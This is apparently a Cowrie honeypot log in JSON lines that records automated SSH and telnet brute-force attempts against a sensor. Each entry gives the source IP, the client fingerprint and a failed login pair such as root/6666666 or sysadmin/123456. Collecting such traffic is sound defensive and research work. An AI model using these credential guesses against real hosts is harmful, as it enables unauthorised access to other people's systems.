{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:03:46.881417Z","src_ip":"103.75.183.219","session":"e5c60dee78f7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"6666666","message":"login attempt [root/6666666] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:03:47.612910Z","src_ip":"103.75.183.219","session":"e5c60dee78f7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:03:48.860641Z","src_ip":"103.75.183.219","session":"e5c60dee78f7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.156.2.226","src_port":58366,"dst_ip":"159.203.135.109","dst_port":22,"session":"c830be6e420e","protocol":"ssh","message":"New connection: 43.156.2.226:58366 (159.203.135.109:22) [session: c830be6e420e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:03:54.764522Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:03:54.769772Z","src_ip":"43.156.2.226","session":"c830be6e420e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:03:55.008636Z","src_ip":"43.156.2.226","session":"c830be6e420e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sysadmin","password":"123456","message":"login attempt [sysadmin/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:03:55.996646Z","src_ip":"43.156.2.226","session":"c830be6e420e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:03:57.244461Z","src_ip":"43.156.2.226","session":"c830be6e420e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.172.78.219","src_port":47066,"dst_ip":"159.203.135.109","dst_port":22,"session":"6e298de8d10d","protocol":"ssh","message":"New connection: 103.172.78.219:47066 (159.203.135.109:22) [session: 6e298de8d10d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:04:03.343157Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:04:03.349094Z","src_ip":"103.172.78.219","session":"6e298de8d10d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:04:03.613654Z","src_ip":"103.172.78.219","session":"6e298de8d10d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"maxim","message":"login attempt [root/maxim] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:04:04.395920Z","src_ip":"103.172.78.219","session":"6e298de8d10d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:04:05.657888Z","src_ip":"103.172.78.219","session":"6e298de8d10d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":49880,"dst_ip":"10.17.0.5","dst_port":23,"session":"8730cb2bbe1c","protocol":"telnet","message":"New connection: 192.119.13.58:49880 (10.17.0.5:23) [session: 8730cb2bbe1c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:04:23.080766Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.114","src_port":49068,"dst_ip":"159.203.135.109","dst_port":22,"session":"17087b122de2","protocol":"ssh","message":"New connection: 103.27.238.114:49068 (159.203.135.109:22) [session: 17087b122de2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:04:32.889402Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:04:32.895320Z","src_ip":"103.27.238.114","session":"17087b122de2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:04:33.163615Z","src_ip":"103.27.238.114","session":"17087b122de2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"159357000","message":"login attempt [root/159357000] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:04:33.968315Z","src_ip":"103.27.238.114","session":"17087b122de2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:04:35.239611Z","src_ip":"103.27.238.114","session":"17087b122de2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.195.16.41","src_port":46938,"dst_ip":"159.203.135.109","dst_port":23,"session":"53ad5d0918fb","protocol":"telnet","message":"New connection: 186.195.16.41:46938 (159.203.135.109:23) [session: 53ad5d0918fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:04:37.316966Z"}
{"eventid":"cowrie.session.closed","duration":33.59967279434204,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:04:56.680305Z","src_ip":"192.119.13.58","session":"8730cb2bbe1c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.228.128.84","src_port":41102,"dst_ip":"10.17.0.5","dst_port":22,"session":"9172d7d0adfe","protocol":"ssh","message":"New connection: 193.228.128.84:41102 (10.17.0.5:22) [session: 9172d7d0adfe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:05:10.513146Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:05:10.518427Z","src_ip":"193.228.128.84","session":"9172d7d0adfe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:05:10.621175Z","src_ip":"193.228.128.84","session":"9172d7d0adfe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"mmmmmm","message":"login attempt [root/mmmmmm] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:05:10.929003Z","src_ip":"193.228.128.84","session":"9172d7d0adfe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.234.27","src_port":35904,"dst_ip":"159.203.135.109","dst_port":22,"session":"13455489f322","protocol":"ssh","message":"New connection: 69.6.234.27:35904 (159.203.135.109:22) [session: 13455489f322]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:05:11.492610Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:05:11.497505Z","src_ip":"69.6.234.27","session":"13455489f322","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:05:11.571583Z","src_ip":"69.6.234.27","session":"13455489f322","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qt123456","message":"login attempt [root/Qt123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:05:11.895406Z","src_ip":"69.6.234.27","session":"13455489f322","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:05:12.033279Z","src_ip":"193.228.128.84","session":"9172d7d0adfe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:05:12.973008Z","src_ip":"69.6.234.27","session":"13455489f322","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.156.2.226","src_port":46666,"dst_ip":"159.203.135.109","dst_port":22,"session":"c77c4e00021d","protocol":"ssh","message":"New connection: 43.156.2.226:46666 (159.203.135.109:22) [session: c77c4e00021d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:05:23.192135Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:05:23.197248Z","src_ip":"43.156.2.226","session":"c77c4e00021d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:05:23.442651Z","src_ip":"43.156.2.226","session":"c77c4e00021d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"master@123","message":"login attempt [root/master@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:05:24.454370Z","src_ip":"43.156.2.226","session":"c77c4e00021d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:05:25.703746Z","src_ip":"43.156.2.226","session":"c77c4e00021d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.10.157","src_port":14056,"dst_ip":"10.17.0.5","dst_port":22,"session":"008e7bc095b9","protocol":"ssh","message":"New connection: 45.148.10.157:14056 (10.17.0.5:22) [session: 008e7bc095b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:05:25.743708Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PUTTY","message":"Remote SSH version: SSH-2.0-PUTTY","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:05:25.749118Z","src_ip":"45.148.10.157","session":"008e7bc095b9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"5bd26477da5440a6187bd3f1b39a429c","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 5bd26477da5440a6187bd3f1b39a429c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:05:25.837253Z","src_ip":"45.148.10.157","session":"008e7bc095b9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":39938,"dst_ip":"10.17.0.5","dst_port":23,"session":"bb5bccc2b578","protocol":"telnet","message":"New connection: 192.119.13.58:39938 (10.17.0.5:23) [session: bb5bccc2b578]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:05:26.091398Z"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:05:26.213183Z","src_ip":"45.148.10.157","session":"008e7bc095b9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.106.188.200","src_port":36204,"dst_ip":"159.203.135.109","dst_port":22,"session":"45a38d9bf678","protocol":"ssh","message":"New connection: 170.106.188.200:36204 (159.203.135.109:22) [session: 45a38d9bf678]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:05:38.661106Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:05:38.665470Z","src_ip":"170.106.188.200","session":"45a38d9bf678","protocol":"ssh"}
